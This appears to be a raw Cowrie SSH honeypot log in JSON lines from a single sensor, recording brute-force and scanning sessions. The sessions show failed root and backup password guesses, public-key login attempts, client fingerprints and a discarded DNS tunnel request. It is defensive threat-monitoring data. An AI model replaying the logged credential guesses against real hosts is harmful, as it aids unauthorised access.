{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:20.429474Z","session":"221dcf87bb03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:20.527117Z","src_ip":"176.53.159.196","session":"221dcf87bb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:20.626385Z","src_ip":"176.53.159.196","session":"221dcf87bb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":33618,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5d1690b2ea","protocol":"ssh","message":"New connection: 91.92.40.10:33618 (10.17.0.5:22) [session: aa5d1690b2ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:30.095333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:30.184362Z","src_ip":"91.92.40.10","session":"aa5d1690b2ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:30.187604Z","src_ip":"91.92.40.10","session":"aa5d1690b2ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"123","message":"login attempt [backup/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:31.178471Z","src_ip":"91.92.40.10","session":"aa5d1690b2ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:32.365668Z","src_ip":"91.92.40.10","session":"aa5d1690b2ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.110.112.8","src_port":36952,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aeae783d686","protocol":"ssh","message":"New connection: 175.110.112.8:36952 (10.17.0.5:22) [session: 0aeae783d686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:42.665911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:42.672741Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:42.757989Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:05:56:65:ff:3b:98:f6:91:20:fa:82:fc:30:10:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mC6HKkNk33IBv3/gSHIfDZenH/OzXNd5Lw/03lA1ZRKnAa4t6LPcwg47BTEbcId/LWLinqeviKlTxXaE1HXRb9rSgzqyOrurEX5qVfYiX1Mucc5AP1X7fWZeTlOzW6PoZOeUj82iECvuPMspJ5X0iFZSLcQdM5bwN6oMJCC5W4snbaYIAkVS38bW1fIlXQ72KJcoqRUYo/LGbQmIakKcGHxYiWjlqcOSTRtnusizJlMuEufFq/OQZYDAjtei6tlBL3KEiBfzlBjLxO0kpvNYJ1nObl/NaYiefuEQpNpI73jObe2Tnnrr0DUODt11SISDF7eRdKI6NQ6fRMeZ9Yer","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:05:56:65:ff:3b:98:f6:91:20:fa:82:fc:30:10:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.153547Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:05:56:65:ff:3b:98:f6:91:20:fa:82:fc:30:10:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mC6HKkNk33IBv3/gSHIfDZenH/OzXNd5Lw/03lA1ZRKnAa4t6LPcwg47BTEbcId/LWLinqeviKlTxXaE1HXRb9rSgzqyOrurEX5qVfYiX1Mucc5AP1X7fWZeTlOzW6PoZOeUj82iECvuPMspJ5X0iFZSLcQdM5bwN6oMJCC5W4snbaYIAkVS38bW1fIlXQ72KJcoqRUYo/LGbQmIakKcGHxYiWjlqcOSTRtnusizJlMuEufFq/OQZYDAjtei6tlBL3KEiBfzlBjLxO0kpvNYJ1nObl/NaYiefuEQpNpI73jObe2Tnnrr0DUODt11SISDF7eRdKI6NQ6fRMeZ9Yer","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.156596Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:c9:63:20:dc:c8:fc:a9:d3:e1:52:50:c8:29:3f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJm2SYkspsQx7zP3CjjbMsBFBgHBNvGpjeQMzmEuFRQ5b2jt3lcl0+cIFZHcv/oyZ3imSZOE6P4MfBUETMdPoYFOPF2n5dfCzulSQNZWlXcGpF6nj9C3qfObtKnzyQTy0GkxSDRP2l3lmPiC5girfxDlaQrq7R2vfUjj3Vnv5v2F5VJj2KnbdG1EUly+/jKmFfoz9gPdOqRvBgC339MyS9BdkfMpaqJdTth/dkFwS5TC5CHNjBJgPF4vLCZ5aw2QZA6x1HJyWZUBrFEL0/hxmEnLFyKvvB2OFe6BGcPw5/FHltczXiMVT4muZoNqTYIJIjce0SMyrPPbGcm3iW1JWENCw8GqTGQdYm9oO07o06w8GNouBGMXjBC2FEbPH3uAUFohH5tdiN7fKhpsl9bAJ6au/LSSRZlhuv8N/ZQZI6RnxJqM1w0dgk5ZphGn5QXuqG9ohz7spKgn8XkXYTo3ukeVdycnrl1V0vQnvbWyd3cHshpOe81ueT/qvw1Kh/dJU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:c9:63:20:dc:c8:fc:a9:d3:e1:52:50:c8:29:3f:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.241390Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:c9:63:20:dc:c8:fc:a9:d3:e1:52:50:c8:29:3f:f7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJm2SYkspsQx7zP3CjjbMsBFBgHBNvGpjeQMzmEuFRQ5b2jt3lcl0+cIFZHcv/oyZ3imSZOE6P4MfBUETMdPoYFOPF2n5dfCzulSQNZWlXcGpF6nj9C3qfObtKnzyQTy0GkxSDRP2l3lmPiC5girfxDlaQrq7R2vfUjj3Vnv5v2F5VJj2KnbdG1EUly+/jKmFfoz9gPdOqRvBgC339MyS9BdkfMpaqJdTth/dkFwS5TC5CHNjBJgPF4vLCZ5aw2QZA6x1HJyWZUBrFEL0/hxmEnLFyKvvB2OFe6BGcPw5/FHltczXiMVT4muZoNqTYIJIjce0SMyrPPbGcm3iW1JWENCw8GqTGQdYm9oO07o06w8GNouBGMXjBC2FEbPH3uAUFohH5tdiN7fKhpsl9bAJ6au/LSSRZlhuv8N/ZQZI6RnxJqM1w0dgk5ZphGn5QXuqG9ohz7spKgn8XkXYTo3ukeVdycnrl1V0vQnvbWyd3cHshpOe81ueT/qvw1Kh/dJU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.244704Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:ea:a4:d9:7d:b7:ce:72:56:65:37:6e:fa:e0:93:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy3Q3blUK5W3lPc9UPTw0yZlqJMeX2ZmJMXx3SHH+/q9elpQwfYhb2MqxLj6xj4qg0Tw4Wjk37HIGgzSSVdqX65Ir3oWI9Rja5D9NZ3EbvqIXpo+RGuWRirq+B0pQFZqGYw6BRWcj509gu7zBdIgKMX+SYTCFYlsjzRCzKgcmE0xAQUJ4Lp5LoIMUSI3SnszPs/bCjMwH/LDJxts7Ey6bBgGGykfmAh7MJCnMYeujEqaruDsDHIi8cmroIO+4y7xzdxbzxeF/OPVjQIuJcc6cIJhU8qrPRaQqzqxKJgiuYsNIRfD55Eb+HdQmwT2HCyOrA9yWE50PCcjTnq7bTsacz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:ea:a4:d9:7d:b7:ce:72:56:65:37:6e:fa:e0:93:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.328779Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:ea:a4:d9:7d:b7:ce:72:56:65:37:6e:fa:e0:93:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy3Q3blUK5W3lPc9UPTw0yZlqJMeX2ZmJMXx3SHH+/q9elpQwfYhb2MqxLj6xj4qg0Tw4Wjk37HIGgzSSVdqX65Ir3oWI9Rja5D9NZ3EbvqIXpo+RGuWRirq+B0pQFZqGYw6BRWcj509gu7zBdIgKMX+SYTCFYlsjzRCzKgcmE0xAQUJ4Lp5LoIMUSI3SnszPs/bCjMwH/LDJxts7Ey6bBgGGykfmAh7MJCnMYeujEqaruDsDHIi8cmroIO+4y7xzdxbzxeF/OPVjQIuJcc6cIJhU8qrPRaQqzqxKJgiuYsNIRfD55Eb+HdQmwT2HCyOrA9yWE50PCcjTnq7bTsacz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.332169Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:b5:c2:da:1f:e0:a4:a9:ef:a5:49:2d:3d:87:60:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChdaP9zLz3X2KT1STkJEyAXWA6uFp6j4PlgkAdLOakLT+WBrp8f5YmAsYNPKmyj127yWcFj4kKXaxpc4Qer5ptGsiddYGbnoMbIZSyfsCv5rHbQ1sDL2SOL+OIv/bSo5SWKbmS3TUI280Dk0HBsLguuZBJX1dra+GmdOZ5v4Dy90sdRLxBfCUN6WL5hisZFob+uewMFlhH2p9rRq5RLcWrDcKYkBhCFDvLUOnKjA4Jw2+tB4pBv33B5VMfas4lqXqygmOyysVCVcpmtxB6qRYfELk4s9idc+rVFLsdWkceaLA/oSvtcPNp8JOiHE0JJJ6pGwNfFJUnEmAw2NespIa7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:b5:c2:da:1f:e0:a4:a9:ef:a5:49:2d:3d:87:60:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.418990Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:b5:c2:da:1f:e0:a4:a9:ef:a5:49:2d:3d:87:60:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChdaP9zLz3X2KT1STkJEyAXWA6uFp6j4PlgkAdLOakLT+WBrp8f5YmAsYNPKmyj127yWcFj4kKXaxpc4Qer5ptGsiddYGbnoMbIZSyfsCv5rHbQ1sDL2SOL+OIv/bSo5SWKbmS3TUI280Dk0HBsLguuZBJX1dra+GmdOZ5v4Dy90sdRLxBfCUN6WL5hisZFob+uewMFlhH2p9rRq5RLcWrDcKYkBhCFDvLUOnKjA4Jw2+tB4pBv33B5VMfas4lqXqygmOyysVCVcpmtxB6qRYfELk4s9idc+rVFLsdWkceaLA/oSvtcPNp8JOiHE0JJJ6pGwNfFJUnEmAw2NespIa7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.422305Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:84:9c:49:a1:06:4f:45:46:cd:23:b2:c4:8a:6a:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3w30pqc1E60ilm4R8xy/NFxqYh/mE4oGCeJOq3Vwrn7EeLbh0D68/jfNPi0mjBzBFIdCsj+Xs4TfytmLqLEKMYMKxGHhOLICHcn1ec8vf9HpcQVMLwIYpLz3MeTXAn4oRTdNfLz/OUeW0ZbnjXY2/HfiiyMYzegz0tePgKHQm/IOpK6hEmVDxPsoQrTF9WUXNfpmCwhkM9PYkwIzXMkgbP39Qrh4NTVp5SVypzu0F9MSPKn5JSA6rvT5UppWqAv+0K0Ud/Lv/AZEe4J9QDXLXZL+STTDFVeZKmVkaBn/Dm4TcCT+pRB9usseeHKWz9xa/aotJ4Rkf1Xd1otwWmaUR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:84:9c:49:a1:06:4f:45:46:cd:23:b2:c4:8a:6a:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.506138Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:84:9c:49:a1:06:4f:45:46:cd:23:b2:c4:8a:6a:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3w30pqc1E60ilm4R8xy/NFxqYh/mE4oGCeJOq3Vwrn7EeLbh0D68/jfNPi0mjBzBFIdCsj+Xs4TfytmLqLEKMYMKxGHhOLICHcn1ec8vf9HpcQVMLwIYpLz3MeTXAn4oRTdNfLz/OUeW0ZbnjXY2/HfiiyMYzegz0tePgKHQm/IOpK6hEmVDxPsoQrTF9WUXNfpmCwhkM9PYkwIzXMkgbP39Qrh4NTVp5SVypzu0F9MSPKn5JSA6rvT5UppWqAv+0K0Ud/Lv/AZEe4J9QDXLXZL+STTDFVeZKmVkaBn/Dm4TcCT+pRB9usseeHKWz9xa/aotJ4Rkf1Xd1otwWmaUR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.509504Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:14:43.594165Z","src_ip":"175.110.112.8","session":"0aeae783d686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc36953414d9","protocol":"ssh","message":"New connection: 176.32.39.21:52042 (10.17.0.5:22) [session: dc36953414d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:00.778353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:00.782644Z","src_ip":"176.32.39.21","session":"dc36953414d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:00.900418Z","src_ip":"176.32.39.21","session":"dc36953414d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22021979","message":"login attempt [root/22021979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:01.361552Z","src_ip":"176.32.39.21","session":"dc36953414d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:02.480829Z","src_ip":"176.32.39.21","session":"dc36953414d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.35.226","src_port":53486,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6e4cbcad25","protocol":"ssh","message":"New connection: 166.62.35.226:53486 (10.17.0.5:22) [session: 9c6e4cbcad25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:10.215544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:10.219318Z","src_ip":"166.62.35.226","session":"9c6e4cbcad25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:10.288229Z","src_ip":"166.62.35.226","session":"9c6e4cbcad25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iotex2024","message":"login attempt [root/iotex2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:10.486767Z","src_ip":"166.62.35.226","session":"9c6e4cbcad25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:11.555008Z","src_ip":"166.62.35.226","session":"9c6e4cbcad25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":4492,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e0a8659756d","protocol":"ssh","message":"New connection: 176.53.159.196:4492 (10.17.0.5:22) [session: 5e0a8659756d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.212343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:15:23.215818Z","src_ip":"176.53.159.196","session":"5e0a8659756d","protocol":"ssh"}
